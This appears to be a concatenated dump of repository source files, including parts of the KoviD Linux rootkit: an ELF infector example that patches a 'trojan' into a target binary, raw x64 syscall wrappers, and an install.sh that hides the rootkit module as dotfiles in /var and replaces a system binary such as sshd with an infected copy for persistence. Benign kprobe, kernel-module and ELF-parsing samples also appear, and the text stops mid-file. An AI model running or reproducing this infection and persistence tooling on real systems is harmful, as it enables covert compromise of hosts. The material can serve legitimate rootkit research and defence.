0x%p, status = 0x%lx\n", 69 | p->addr, regs->cp0_status); 70 | #endif 71 | #ifdef CONFIG_TILEGX 72 | printk(KERN_INFO "post_handler: p->addr = 0x%p, ex1 = 0x%lx\n", 73 | p->addr, regs->ex1); 74 | #endif 75 | #ifdef CONFIG_ARM64 76 | pr_info("<%s> post_handler: p->addr = 0x%p, pstate = 0x%lx\n", 77 | p->symbol_name, p->addr, (long)regs->pstate); 78 | #endif 79 | } 80 | 81 | /* 82 | * fault_handler: this is called if an exception is generated for any 83 | * instruction within the pre- or post-handler, or when Kprobes 84 | * single-steps the probed instruction. 85 | */ 86 | static int handler_fault(struct kprobe *p, struct pt_regs *regs, int trapnr) 87 | { 88 | printk(KERN_INFO "fault_handler: p->addr = 0x%p, trap #%dn", 89 | p->addr, trapnr); 90 | /* Return 0 because we don't handle the fault. */ 91 | return 0; 92 | } 93 | 94 | static int __init kprobe_init(void) 95 | { 96 | int ret; 97 | kp.pre_handler = handler_pre; 98 | kp.post_handler = handler_post; 99 | kp.fault_handler = handler_fault; 100 | 101 | ret = register_kprobe(&kp); 102 | if (ret < 0) { 103 | printk(KERN_INFO "register_kprobe failed, returned %d\n", ret); 104 | return ret; 105 | } 106 | printk(KERN_INFO "Planted kprobe at %p\n", kp.addr); 107 | return 0; 108 | } 109 | 110 | static void __exit kprobe_exit(void) 111 | { 112 | unregister_kprobe(&kp); 113 | printk(KERN_INFO "kprobe at %p unregistered\n", kp.addr); 114 | } 115 | 116 | module_init(kprobe_init) 117 | module_exit(kprobe_exit) 118 | MODULE_LICENSE("GPL"); 119 | -------------------------------------------------------------------------------- /linux-kernel/KoviD/volundr/examples/example-infect-text.c: -------------------------------------------------------------------------------- 1 | /** 2 | * MIT License 3 | * 4 | * Copyright (c) 2021 Carlos Carvalho 5 | * 6 | * Permission is hereby granted, free of charge, to any person obtaining a copy 7 | * of this software and associated documentation files (the "Software"), to deal 8 | * in the Software without restriction, including without limitation the rights 9 | * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell 10 | * copies of the Software, and to permit persons to whom the Software is 11 | * furnished to do so, subject to the following conditions: 12 | * 13 | * The above copyright notice and this permission notice shall be included in all 14 | * copies or substantial portions of the Software. 15 | * 16 | * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR 17 | * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, 18 | * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE 19 | * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER 20 | * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, 21 | * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE 22 | * SOFTWARE. 23 | */ 24 | 25 | #include 26 | #include 27 | #include 28 | #include 29 | #include 30 | 31 | #include "common.h" 32 | #include "utils.h" 33 | #include "log.h" 34 | #include "elfo.h" 35 | #include "parse.h" 36 | #include "map.h" 37 | #include "asm.h" 38 | #include "print.h" 39 | #include "validate.h" 40 | #include "destroy.h" 41 | #include "infect.h" 42 | 43 | extern elf_info_t _program[]; 44 | 45 | static bool doit(const char *binfile, const char *trojan) { 46 | ASSERT_CON_RET_FALSE(binfile && trojan); 47 | open_mode_t m1,m2; 48 | struct mapped_file map = {0}, src_map = {0}; 49 | bool rc = false; 50 | const char *file = binfile; 51 | 52 | FILE *fp = file_open_rw(file, &m1); 53 | if (!fp) { 54 | log_error("Can't open target ELF\n"); 55 | return rc; 56 | } 57 | 58 | FILE *trojanfp = file_open_ro(trojan, &m2); 59 | if (!trojanfp) { 60 | log_error("Can't open trojan binary\n"); 61 | return rc; 62 | } 63 | 64 | if(!elf_validate_filetype(fp)) { 65 | log_error("Not a valid ELF file\n"); 66 | return rc; 67 | } 68 | 69 | if (!(rc = file_load_target(&map, fp, m1))) { 70 | log_error("Error loading target ELF\n"); 71 | return rc; 72 | } 73 | // File is mapped 74 | file_close(fp); 75 | 76 | if (!(rc = file_load_source(&src_map, trojanfp /** RO */))) { 77 | log_error("Error loading source binary\n"); 78 | return rc; 79 | } 80 | 81 | elf_t *elfo = elf_parse_file(file, &map); 82 | if (elfo) { 83 | long magic = (long)0x1122334455667788; 84 | 85 | infect_t *inf = inf_load(elfo, m1, magic, &src_map); 86 | if (inf) { 87 | if (inf_scan_segment(inf)) { 88 | if ((rc = inf_load_and_patch(inf)) == true) { 89 | // Make sure it is written 90 | if (file_sync_target(&map)) 91 | printf("Done!\nTry running %s\n", file); 92 | } 93 | else 94 | printf("Failed :(\n"); 95 | } 96 | free(inf->trojan); 97 | free(inf); 98 | } 99 | 100 | assert(elf_destroy_all(elfo)); 101 | } 102 | 103 | file_close(trojanfp); 104 | 105 | return rc; 106 | } 107 | int main(int argc, char **argv) 108 | { 109 | if (argc < 3) { 110 | log_info("Use %s \n", argv[0]); 111 | asm_exit(0); 112 | } 113 | 114 | if (!doit(argv[1], argv[2])) 115 | return 1; 116 | 117 | return 0; 118 | } 119 | -------------------------------------------------------------------------------- /linux-kernel/KoviD/volundr/volundr/asm/asm.h: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | #include 5 | #include 6 | 7 | /** 8 | * @file asm.h 9 | * @brief Implement x84 syscalls for general use 10 | * and to avoid going through glibc 11 | * @see syscalls.S 12 | */ 13 | 14 | /*! 15 | * sys_fork x64 syscall implementation 16 | */ 17 | void asm_fork (void); 18 | 19 | /*! 20 | * sys_exit x64 syscall implementation 21 | * @param code exit status 22 | * @see syscalls.S 23 | */ 24 | ssize_t asm_read (int fd, void *buf, size_t count); 25 | 26 | /*! 27 | * sys_exit x64 syscall implementation 28 | * @param code exit status 29 | * @see syscalls.S 30 | */ 31 | void asm_exit (int code); 32 | 33 | /*! 34 | * sys_close x64 syscall implementation 35 | * @param fd file descriptor to close 36 | * @return 0 on success 37 | * @see syscalls.S 38 | */ 39 | int asm_close (int fd); 40 | /*! 41 | * sys_fstat x64 syscall implementation 42 | * @param fd file descriptor to close 43 | * @param buf result file stat 44 | * @return 0 on success 45 | * @see syscalls.S 46 | */ 47 | int asm_fstat (int fd, struct stat *buf); 48 | 49 | /*! 50 | * sys_mkdir x64 syscall implementation 51 | * @param path path 52 | * @param mode mode 53 | * @return 0 on success 54 | * @see syscalls.S 55 | */ 56 | int asm_mkdir (const char* path, mode_t mode); 57 | 58 | /*! 59 | * sys_rmdir x64 syscall implementation 60 | * @param path path 61 | * @return 0 on success 62 | * @see syscalls.S 63 | */ 64 | int asm_rmdir (const char* path); 65 | 66 | /*! 67 | * sys_kill x64 syscall implementation 68 | * @param pid pid 69 | * @param sig signal to send 70 | * @return 0 on success 71 | * @see syscalls.S 72 | */ 73 | int asm_kill (pid_t pid, int sig); 74 | 75 | /*! 76 | * sys_chown x64 syscall implementation 77 | * @param path path 78 | * @param owner owner uid 79 | * @param group group gid 80 | * @return 0 on success 81 | * @see syscalls.S 82 | */ 83 | int asm_chown (const char* path, uid_t owner, gid_t group); 84 | 85 | /*! 86 | * sys_open x64 syscall implementation 87 | * @param path path 88 | * @param flags flags 89 | * @param mode mode 90 | * @return file descriptor 91 | * @see syscalls.S 92 | */ 93 | int asm_open (const char* path, int flags, mode_t mode); 94 | 95 | /*! 96 | * sys_write x64 syscall implementation 97 | * @param fd file fd 98 | * @param buf buffer to write 99 | * @param count buffer size 100 | * @return number of bytes written 101 | * @see syscalls.S 102 | */ 103 | int asm_write (int fd, const void* buf, size_t count); 104 | 105 | /*! 106 | * sys_mmap x64 syscall implementation 107 | * @param addr start address to map 108 | * @param length size of the mapping 109 | * @param pror protections 110 | * @param fd file descriptor 111 | * @param flags mapping flags 112 | * @param len size of mapping 113 | * @param offset offset of mapping - usually 0 114 | * @return pointer to mapped area 115 | * @see syscalls.S 116 | */ 117 | void *asm_mmap (void *addr, size_t length, int prot, 118 | int fd, int flags, off_t offset); 119 | 120 | /*! 121 | * sys_munmap x64 syscall implementation 122 | * @param addr address to unmap 123 | * @return 0 on success 124 | * @see syscalls.S 125 | */ 126 | int asm_munmap(void *addr, size_t length); 127 | 128 | /*! 129 | * sys_msync x64 syscall implementation 130 | * @param addr address to sync 131 | * @param length size of mapping 132 | * @param flags flags 133 | * 134 | * @return 0 on success 135 | * @see syscalls.S 136 | */ 137 | int asm_msync(void *addr, size_t length, int flags); 138 | 139 | /*! 140 | * sys_mprotect x64 syscall implementation 141 | * @param addr address to mprotect 142 | * @param prot protection flags 143 | * @return 0 on success 144 | * @see syscalls.S 145 | */ 146 | int asm_mprotect(void *addr, size_t len, int prot); 147 | 148 | -------------------------------------------------------------------------------- /linux-kernel/lkm_example/lkm_example.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | #include 5 | #include 6 | MODULE_LICENSE("GPL"); 7 | MODULE_AUTHOR("Robert W. Oliver II"); 8 | MODULE_DESCRIPTION("A simple example Linux module."); 9 | MODULE_VERSION("0.01"); 10 | #define DEVICE_NAME "lkm_example" 11 | #define EXAMPLE_MSG "Hello, World!\n" 12 | #define MSG_BUFFER_LEN 15 13 | /* Prototypes for device functions */ 14 | static int device_open(struct inode *, struct file *); 15 | static int device_release(struct inode *, struct file *); 16 | static ssize_t device_read(struct file *, char *, size_t, loff_t *); 17 | static ssize_t device_write(struct file *, const char *, size_t, loff_t *); 18 | static int major_num; 19 | static int device_open_count = 0; 20 | static char msg_buffer[MSG_BUFFER_LEN]; 21 | static char *msg_ptr; 22 | /* This structure points to all of the device functions */ 23 | static struct file_operations file_ops = {.read = device_read, 24 | .write = device_write, 25 | .open = device_open, 26 | .release = device_release}; 27 | /* When a process reads from our device, this gets called. */ 28 | static ssize_t device_read(struct file *flip, char *buffer, size_t len, 29 | loff_t *offset) { 30 | int i, total_bytes_read = 0; 31 | printk(KERN_INFO "device_read called\n"); 32 | for (i = 0; i < 10; i++) { 33 | int bytes_read = 0; 34 | /* If we’re at the end, loop back to the beginning */ 35 | if (*msg_ptr == 0) { 36 | msg_ptr = msg_buffer; 37 | } 38 | /* Put data in the buffer */ 39 | while (len && *msg_ptr) { 40 | /* Buffer is in user data, not kernel, so you can’t just reference 41 | * with a pointer. The function put_user handles this for us */ 42 | put_user(*(msg_ptr++), buffer++); 43 | len--; 44 | bytes_read++; 45 | } 46 | total_bytes_read += bytes_read; 47 | } 48 | return total_bytes_read; // Return total bytes read for all repetitions 49 | } 50 | 51 | /* Called when a process tries to write to our device */ 52 | static ssize_t device_write(struct file *flip, const char *buffer, size_t len, 53 | loff_t *offset) { 54 | /* This is a read-only device */ 55 | printk(KERN_ALERT "This operation is not supported.\n"); 56 | return -EINVAL; 57 | } 58 | /* Called when a process opens our device */ 59 | static int device_open(struct inode *inode, struct file *file) { 60 | /* If device is open, return busy */ 61 | if (device_open_count) { 62 | return -EBUSY; 63 | } 64 | device_open_count++; 65 | try_module_get(THIS_MODULE); 66 | return 0; 67 | } 68 | /* Called when a process closes our device */ 69 | static int device_release(struct inode *inode, struct file *file) { 70 | /* Decrement the open counter and usage count. Without this, the module would 71 | * not unload. */ 72 | device_open_count--; 73 | module_put(THIS_MODULE); 74 | return 0; 75 | } 76 | static int __init lkm_example_init(void) { 77 | /* Fill buffer with our message */ 78 | strncpy(msg_buffer, EXAMPLE_MSG, MSG_BUFFER_LEN); 79 | /* Set the msg_ptr to the buffer */ 80 | msg_ptr = msg_buffer; 81 | /* Try to register character device */ 82 | major_num = register_chrdev(0, "lkm_example", &file_ops); 83 | if (major_num < 0) { 84 | printk(KERN_ALERT "Could not register device: %d\n", major_num); 85 | return major_num; 86 | } else { 87 | printk(KERN_INFO "lkm_example module loaded with device major number %d\n", 88 | major_num); 89 | return 0; 90 | } 91 | } 92 | static void __exit lkm_example_exit(void) { 93 | /* Remember — we have to clean up after ourselves. Unregister the character 94 | * device. */ 95 | unregister_chrdev(major_num, DEVICE_NAME); 96 | printk(KERN_INFO "Goodbye, World!\n"); 97 | } 98 | /* Register module functions */ 99 | module_init(lkm_example_init); 100 | module_exit(lkm_example_exit); 101 | -------------------------------------------------------------------------------- /research-rootkit/elf/lssym.c: -------------------------------------------------------------------------------- 1 | // Copyright 2016 Gu Zhengxiong 2 | // 3 | // This file is part of LibZeroEvil. 4 | // 5 | // LibZeroEvil is free software: 6 | // you can redistribute it and/or modify it 7 | // under the terms of the GNU General Public License 8 | // as published by the Free Software Foundation, 9 | // either version 3 of the License, 10 | // or (at your option) any later version. 11 | // 12 | // LibZeroEvil is distributed in the hope that it will be useful, 13 | // but WITHOUT ANY WARRANTY; without even the implied warranty of 14 | // MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the 15 | // GNU General Public License for more details. 16 | // 17 | // You should have received a copy of the GNU General Public License 18 | // along with LibZeroEvil. 19 | // If not, see . 20 | 21 | 22 | # include 23 | // fopen, fprintf, printf. 24 | # include 25 | // perror. 26 | # include 27 | // Get PRIx64, PRIu64. 28 | # include 29 | 30 | # include 31 | 32 | # include "uelf.h" 33 | 34 | 35 | int 36 | main(int argc, char **argv) 37 | { 38 | if (argc != 2) { 39 | fprintf(stderr, "%s\n", "Invalid Arguments!"); 40 | return EXIT_FAILURE; 41 | } 42 | 43 | FILE *fp = fopen(argv[1], "rb"); 44 | if (fp == NULL) { 45 | perror("fopen"); 46 | return EXIT_FAILURE; 47 | } 48 | 49 | if (check_elf_ident(fp) != 0) { 50 | return EXIT_FAILURE; 51 | } 52 | 53 | Elf64_Ehdr *header = get_elf_header(fp); 54 | if (header == NULL) { 55 | return EXIT_FAILURE; 56 | } 57 | 58 | Elf64_Shdr *sec_header_tab = get_sec_header_tab(fp, header); 59 | if (sec_header_tab == NULL) { 60 | return EXIT_FAILURE; 61 | } 62 | 63 | Elf64_Shdr *str_tab_header = sec_header_tab + header->e_shstrndx; 64 | char *shstrtab = get_shstrtab(fp, 65 | str_tab_header); 66 | if (shstrtab == NULL) { 67 | return EXIT_FAILURE; 68 | } 69 | 70 | Elf64_Shdr *symtab = get_section_by_name(".symtab", 71 | header, 72 | sec_header_tab, 73 | shstrtab); 74 | Elf64_Shdr *strtab = get_section_by_name(".strtab", 75 | header, 76 | sec_header_tab, 77 | shstrtab); 78 | if (symtab == NULL || strtab == NULL) { 79 | return EXIT_FAILURE; 80 | } 81 | 82 | Elf64_Sym *syms = malloc(symtab->sh_size); 83 | if (syms == NULL) { 84 | perror("malloc"); 85 | return EXIT_FAILURE; 86 | } 87 | fseek(fp, symtab->sh_offset, SEEK_SET); 88 | if (fread(syms, 1, symtab->sh_size, fp) != symtab->sh_size) { 89 | fprintf(stderr, "%s\n", "Incomplete Symbol Table!"); 90 | return EXIT_FAILURE; 91 | } 92 | 93 | char *strs = malloc(strtab->sh_size); 94 | if (strs == NULL) { 95 | perror("malloc"); 96 | return EXIT_FAILURE; 97 | } 98 | fseek(fp, strtab->sh_offset, SEEK_SET); 99 | if (fread(strs, 1, strtab->sh_size, fp) != strtab->sh_size) { 100 | fprintf(stderr, "%s\n", "Incomplete String Table!"); 101 | return EXIT_FAILURE; 102 | } 103 | 104 | printf("%s\n", 105 | "num index size value info other name"); 106 | int total = symtab->sh_size / symtab->sh_entsize; 107 | for (int count = 0; count < total; count += 1) { 108 | printf("%2u %2x %"PRIu64" %"PRIx64" %4x %4x %s\n", 109 | count, 110 | syms[count].st_shndx, 111 | syms[count].st_size, 112 | syms[count].st_value, 113 | syms[count].st_info, 114 | syms[count].st_other, 115 | strs + syms[count].st_name); 116 | } 117 | 118 | free(header); 119 | free(sec_header_tab); 120 | free(shstrtab); 121 | free(syms); 122 | free(strs); 123 | return EXIT_SUCCESS; 124 | } 125 | -------------------------------------------------------------------------------- /linux-kernel/KoviD/scripts/install.sh: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env bash 2 | # 3 | # Install KoviD persistence 4 | # -hash 5 | 6 | set -eou pipefail 7 | 8 | PREFIX="/${0%/*}" 9 | PREFIX=${PREFIX:-.} 10 | PREFIX=${PREFIX#/}/ 11 | PREFIX=$(cd "$PREFIX"; pwd) 12 | 13 | # Defaults 14 | # Warning: avoid changing these variables 15 | INSTALL="/var" 16 | VOLUNDR=${VOLUNDR:-$PREFIX/../volundr} 17 | KOVID=${KOVID:-$PREFIX/../kovid.ko} 18 | LOADER=${LOADER:=$PREFIX/../src/loadmodule.sh} 19 | 20 | BKPDIR="$PREFIX"/elfbkp 21 | 22 | usage="Use: [override variables] ./${0##*/} 23 | 24 | override defaults: VOLUNDR, KOVID, LOADER 25 | 26 | VOLUNDR: point to Volundr directory entry point 27 | default: ../volundr 28 | 29 | KOVID: point to KoviD module 30 | default: ../kovid 31 | 32 | LOADER: point to loader script 33 | default: ../loadmodule.sh 34 | 35 | Examples: 36 | # ./${0##*/} /usr/sbin/sshd 37 | # VOLUNDR=/tmp/Volundr ./${0##*/} /usr/sbin/sshd 38 | # KOVID=/tmp/kovid.ko LOADER=/tmp/loadmodule.sh ./${0##*/} /usr/sbin/sshd 39 | $ sudo KOVID=/root/kovid.ko ./${0##*/} /usr/sbin/sshd 40 | 41 | Before running this script, make sure to: 42 | KoviD: build and insmod 43 | Volundr: build" 44 | 45 | errexit() { 46 | echo "Error: $1" 47 | if [[ "$2" == true ]]; then 48 | echo "$usage" 49 | fi 50 | exit "$3" 51 | } >&2 52 | 53 | check_util() { 54 | for u in "$@"; do 55 | if [[ ! $(which "$u") ]]; then 56 | echo "Error: $u not found" 57 | exit 1 58 | fi 59 | done 60 | } >&2 61 | 62 | function do_install_files_error() { 63 | rm -fv "$INSTALL"/.kv.ko 64 | rm -fv "$INSTALL"/.lm.sh 65 | } 66 | 67 | function do_install_files() { 68 | local rc=0 69 | 70 | cp -v "$KOVID" "$INSTALL"/.kv.ko || rc=1 71 | cp -v "$LOADER" "$INSTALL"/.lm.sh || rc=1 72 | 73 | return $rc 74 | } 75 | 76 | function do_persist() { 77 | local target="$1" 78 | 79 | if [[ ! -f "$target" ]]; then 80 | errexit "Target ELF file not found" true 1 81 | fi 82 | 83 | # Check it target file is and ELF binary 84 | readelf -h "$target" || false 85 | 86 | # After copying the hijacked binary, update 87 | # permissions to match the original 88 | perm="$(stat -c '%a' "$target")" 89 | 90 | do_install_files || { 91 | echo "Error preparing environment" >&2 92 | false 93 | } 94 | 95 | # Prepare backup of original target 96 | mkdir -p "$BKPDIR" 97 | echo "$target" "$BKPDIR" 98 | cp -v "$target" "$BKPDIR" || { 99 | do_install_files_error 100 | false 101 | } 102 | 103 | d="$(date "+%m_%d_%y_%s")" 104 | vfbkp="$BKPDIR"/"$(basename "$target")"."$d" 105 | cp -v "$target" "$vfbkp" 106 | 107 | # Volundr target file 108 | vf="$BKPDIR"/"$(basename "$target")" 109 | 110 | # Infect target 111 | pushd "$VOLUNDR" && { 112 | source completion.sh 113 | ./run example-infect-text "$vf" ../src/persist || { 114 | rm -f "$vf" "$vfbkp" 115 | do_install_files_error 116 | false 117 | } 118 | popd 119 | } 120 | 121 | # Go ahead and remove the target 122 | # before copying our hijacked version 123 | rm -fv "$target" || { 124 | rm -f "$vf" "$vfbkp" 125 | do_install_files_error 126 | false 127 | } 128 | cp -v "$vf" "$target" || { 129 | # oops 130 | echo "!! Failed to copy file !!" 131 | echo "Backup exists at:" "$BKPDIR"/"$(basename "$target")".bkp 132 | rm -f "$vf" 133 | false 134 | } 135 | chmod "$perm" "$target" 136 | 137 | rm -f "$vf" 138 | 139 | echo "Done" 140 | } 141 | 142 | if [[ ! -f "$VOLUNDR"/volundr/libvolundr.so ]]; then 143 | errexit "$VOLUNDR: Invalid voludnr directory or Volundr not built" true 1 144 | fi 145 | 146 | if [[ "1" -ne "$#" ]]; then 147 | errexit "Missing/Invalid parameter" true 1 148 | fi 149 | 150 | check_util readelf md5sum mktemp stat 151 | 152 | if [[ ! -f /proc/kovid ]]; then 153 | errexit "KoviD not running" true 1 154 | fi 155 | 156 | do_persist "$1" 157 | 158 | echo "Done!" 159 | -------------------------------------------------------------------------------- /linux-kernel/KoviD/volundr/volundr/asm/syscalls.S: -------------------------------------------------------------------------------- 1 | /** 2 | * MIT License 3 | * 4 | * Copyright (c) 2021 Carlos Carvalho 5 | * 6 | * Permission is hereby granted, free of charge, to any person obtaining a copy 7 | * of this software and associated documentation files (the "Software"), to deal 8 | * in the Software without restriction, including without limitation the rights 9 | * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell 10 | * copies of the Software, and to permit persons to whom the Software is 11 | * furnished to do so, subject to the following conditions: 12 | * 13 | * The above copyright notice and this permission notice shall be included in all 14 | * copies or substantial portions of the Software. 15 | * 16 | * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR 17 | * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, 18 | * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE 19 | * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER 20 | * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, 21 | * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE 22 | * SOFTWARE. 23 | */ 24 | /** 25 | * @file asm.S 26 | * @brief x64 syscalls implementation. 27 | * @author hash 28 | */ 29 | 30 | /** 31 | * Macro 32 | * function declaration 33 | */ 34 | .macro FN fn 35 | .globl \fn 36 | .type \fn, @function;\fn: 37 | .endm 38 | 39 | /** 40 | * x86_64-linux-gnu/asm/unistd_64.h 41 | */ 42 | .equ SYS_read, 0 43 | .equ SYS_write, 1 44 | .equ SYS_open, 2 45 | .equ SYS_close, 3 46 | .equ SYS_fstat, 5 47 | .equ SYS_mmap, 9 48 | .equ SYS_mprotect, 10 49 | .equ SYS_munmap, 11 50 | .equ SYS_msync, 26 51 | .equ SYS_fork, 57 52 | .equ SYS_exit, 60 53 | .equ SYS_kill, 62 54 | .equ SYS_mkdir, 83 55 | .equ SYS_rmdir, 84 56 | .equ SYS_chown, 92 57 | 58 | .equ MAP_FAILED, -1 59 | 60 | .text 61 | 62 | # void asm_exit (int, int); 63 | FN asm_exit 64 | movl $SYS_exit, %eax # NR syscall 65 | syscall # x64 ABI: first 6 args are in registers 66 | ret 67 | 68 | # ssize_t read(int, void *, size_t); 69 | FN asm_read 70 | movl $SYS_read, %eax 71 | syscall 72 | retq 73 | 74 | # void asm_fork (int); 75 | FN asm_fork 76 | movl $SYS_fork, %eax 77 | syscall 78 | ret 79 | 80 | # int asm_close (int); 81 | FN asm_close 82 | movl $SYS_close, %eax 83 | syscall 84 | ret 85 | 86 | # int asm_close (int); 87 | FN asm_fstat 88 | movl $SYS_fstat, %eax 89 | syscall 90 | ret 91 | 92 | # void *mmap(void *, size_t, int, int, int, off_t); 93 | FN asm_mmap 94 | movl $SYS_mmap, %eax 95 | movq %rcx, %r10 # copy %rcx to %r10 - rcx is userlevel, %r10 kernel 96 | syscall 97 | cmp $0xffffffffffffffea, %rax # MAP_FAILED 98 | je mmap_error 99 | retq 100 | mmap_error: 101 | mov $MAP_FAILED, %rax 102 | retq 103 | 104 | # int asm_munmap(void *, size_t); 105 | FN asm_munmap 106 | movl $SYS_munmap, %eax 107 | syscall 108 | ret 109 | 110 | # int msync(void *addr, size_t length, int flags); 111 | FN asm_msync 112 | movl $SYS_msync, %eax 113 | syscall 114 | ret 115 | 116 | # int mprotect(void *, size_t, int) 117 | FN asm_mprotect 118 | movl $SYS_mkdir, %eax 119 | syscall 120 | ret 121 | 122 | # int asm_mkdir (int, const char*, mode_t); 123 | FN asm_mkdir 124 | movl $SYS_mkdir, %eax 125 | syscall 126 | ret 127 | 128 | # int asm_kill (int, pid_t, int); 129 | FN asm_kill 130 | movl $SYS_kill, %eax 131 | syscall 132 | ret 133 | 134 | # int asm_rmdir (int, const char*); 135 | FN asm_rmdir 136 | movl $SYS_rmdir, %eax 137 | syscall 138 | ret 139 | 140 | # int asm_chown (int, const char*, uid_t, gid_t); 141 | FN asm_chown 142 | movl $SYS_chown, %eax 143 | syscall # up to 3 arguments registers are already in place 144 | ret 145 | 146 | # int asm_chown (int, const char*, uid_t, gid_t); 147 | FN asm_open 148 | movl $SYS_open, %eax 149 | syscall 150 | ret 151 | 152 | # int asm_write (int, int, const void*, size_t); 153 | FN asm_write 154 | movl $SYS_write, %eax 155 | syscall 156 | ret 157 | 158 | -------------------------------------------------------------------------------- /research-rootkit/elf/uelf.c: -------------------------------------------------------------------------------- 1 | // Copyright 2016 Gu Zhengxiong 2 | // 3 | // This file is part of LibZeroEvil. 4 | // 5 | // LibZeroEvil is free software: 6 | // you can redistribute it and/or modify it 7 | // under the terms of the GNU General Public License 8 | // as published by the Free Software Foundation, 9 | // either version 3 of the License, 10 | // or (at your option) any later version. 11 | // 12 | // LibZeroEvil is distributed in the hope that it will be useful, 13 | // but WITHOUT ANY WARRANTY; without even the implied warranty of 14 | // MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the 15 | // GNU General Public License for more details. 16 | // 17 | // You should have received a copy of the GNU General Public License 18 | // along with LibZeroEvil. 19 | // If not, see . 20 | 21 | 22 | # include 23 | # include 24 | # include 25 | 26 | # include 27 | 28 | # include "uelf.h" 29 | 30 | 31 | int 32 | check_elf_ident(FILE *stream) 33 | { 34 | int ret = 0; 35 | unsigned char e_ident[EI_NIDENT]; 36 | long offset = ftell(stream); 37 | 38 | if (fread(e_ident, 1, EI_NIDENT, stream) != EI_NIDENT) { 39 | fprintf(stderr, "%s\n", "Incomplete ELF Identification!"); 40 | goto restore_file_offset_and_return_error; 41 | } 42 | 43 | if (memcmp(e_ident, ELFMAG, SELFMAG) != 0) { 44 | fprintf(stderr, "%s\n", "Bad ELF Magic Number!"); 45 | goto restore_file_offset_and_return_error; 46 | } 47 | 48 | if (e_ident[EI_CLASS] != ELFCLASS64 || 49 | e_ident[EI_DATA] != ELFDATA2LSB) { 50 | fprintf(stderr, "%s\n", "We Only Support ELF64 LE!"); 51 | goto restore_file_offset_and_return_error; 52 | } 53 | 54 | fseek(stream, offset, SEEK_SET); 55 | return 0; 56 | 57 | restore_file_offset_and_return_error: 58 | fseek(stream, offset, SEEK_SET); 59 | return 1; 60 | } 61 | 62 | 63 | Elf64_Ehdr * 64 | get_elf_header(FILE *stream) 65 | { 66 | Elf64_Ehdr *header = malloc(sizeof *header); 67 | if (header == NULL) { 68 | perror("malloc"); 69 | return NULL; 70 | } 71 | 72 | long offset = ftell(stream); 73 | if (fread(header, 1, sizeof *header, stream) != sizeof *header) { 74 | fprintf(stderr, "%s\n", "Incomplete ELF Header!"); 75 | header = NULL; 76 | } 77 | 78 | fseek(stream, offset, SEEK_SET); 79 | return header; 80 | } 81 | 82 | 83 | Elf64_Shdr * 84 | get_sec_header_tab(FILE *stream, Elf64_Ehdr *header) 85 | { 86 | size_t size = header->e_shnum * header->e_shentsize; 87 | long offset = ftell(stream); 88 | 89 | Elf64_Shdr *sec_header_tab = malloc(size); 90 | if (sec_header_tab == NULL) { 91 | perror("malloc"); 92 | goto restore_file_offset_and_return_error; 93 | } 94 | 95 | fseek (stream, header->e_shoff, SEEK_CUR); 96 | if (fread(sec_header_tab, 1, size, stream) != size) { 97 | fprintf(stderr, "%s\n", "Incomplete Section Header Table!"); 98 | goto restore_file_offset_and_return_error; 99 | } 100 | 101 | fseek(stream, offset, SEEK_SET); 102 | return sec_header_tab; 103 | 104 | restore_file_offset_and_return_error: 105 | fseek(stream, offset, SEEK_SET); 106 | return NULL; 107 | } 108 | 109 | 110 | char * 111 | get_shstrtab(FILE *stream, 112 | Elf64_Shdr *str_tab_header) 113 | { 114 | size_t size = str_tab_header->sh_size; 115 | long offset = ftell(stream); 116 | 117 | char *str_tab = malloc(size); 118 | if (str_tab == NULL) { 119 | perror("malloc"); 120 | goto restore_file_offset_and_return_error; 121 | } 122 | 123 | fseek (stream, str_tab_header->sh_offset, SEEK_CUR); 124 | if (fread(str_tab, 1, size, stream) != size) { 125 | fprintf(stderr, "%s\n", 126 | "Incomplete Section Header String Table!"); 127 | goto restore_file_offset_and_return_error; 128 | } 129 | 130 | fseek(stream, offset, SEEK_SET); 131 | return str_tab; 132 | 133 | restore_file_offset_and_return_error: 134 | fseek(stream, offset, SEEK_SET); 135 | return NULL; 136 | } 137 | 138 | 139 | Elf64_Shdr * 140 | get_section_by_name(const char *name, 141 | Elf64_Ehdr *header, 142 | Elf64_Shdr *sec_header_tab, 143 | char *str_tab) 144 | { 145 | for (unsigned num = 0; num < header->e_shnum; num += 1) { 146 | Elf64_Shdr *sec_header = sec_header_tab + num; 147 | char *sec_name = str_tab + sec_header->sh_name; 148 | if (strcmp(sec_name, name) == 0) { 149 | return sec_header; 150 | } 151 | } 152 | 153 | return NULL; 154 | } 155 | -------------------------------------------------------------------------------- /linux-kernel/KoviD/volundr/volundr/elf/destroy.c: -------------------------------------------------------------------------------- 1 | /** 2 | * MIT License 3 | * 4 | * Copyright (c) 2021 Carlos Carvalho 5 | * 6 | * Permission is hereby granted, free of charge, to any person obtaining a copy 7 | * of this software and associated documentation files (the "Software"), to deal 8 | * in the Software without restriction, including without limitation the rights 9 | * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell 10 | * copies of the Software, and to permit persons to whom the Software is 11 | * furnished to do so, subject to the following conditions: 12 | * 13 | * The above copyright notice and this permission notice shall be included in all 14 | * copies or substantial portions of the Software. 15 | * 16 | * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF 